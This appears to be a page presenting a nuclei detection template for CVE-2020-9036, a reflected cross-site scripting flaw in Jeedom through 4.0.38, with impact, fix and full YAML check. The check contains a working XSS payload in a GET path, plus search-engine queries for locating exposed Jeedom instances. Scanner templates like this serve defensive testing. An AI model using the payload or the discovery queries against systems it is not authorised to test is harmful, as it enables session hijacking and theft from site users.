Jeedom <=4.0.38 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Jeedom through 4.0.38 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade Jeedom to version 4.0.39 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22
Positive when: contains "<script>document.title = \"\";alert(document.domain);\" - Jeed…" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-9036 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-9036

info:
  name: Jeedom <=4.0.38 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Jeedom through 4.0.38 contains a cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Jeedom to version 4.0.39 or later to mitigate this vulnerability.
  reference:
    - https://sysdream.com/news/lab/2020-08-05-cve-2020-9036-jeedom-xss-leading-to-remote-code-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9036
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/my3ker/my3ker-cve-workshop
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-9036
    cwe-id: CWE-79
    epss-score: 0.03763
    epss-percentile: 0.89997
    cpe: cpe:2.3:a:jeedom:jeedom:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: jeedom
    product: jeedom
    shodan-query: http.title:"jeedom"
    fofa-query: title="jeedom"
    google-query: intitle:"jeedom"
  tags: cve,cve2020,xss,jeedom,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?v=d&p=%22;alert(document.domain);%22"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>document.title = "";alert(document.domain);" - Jeedom"</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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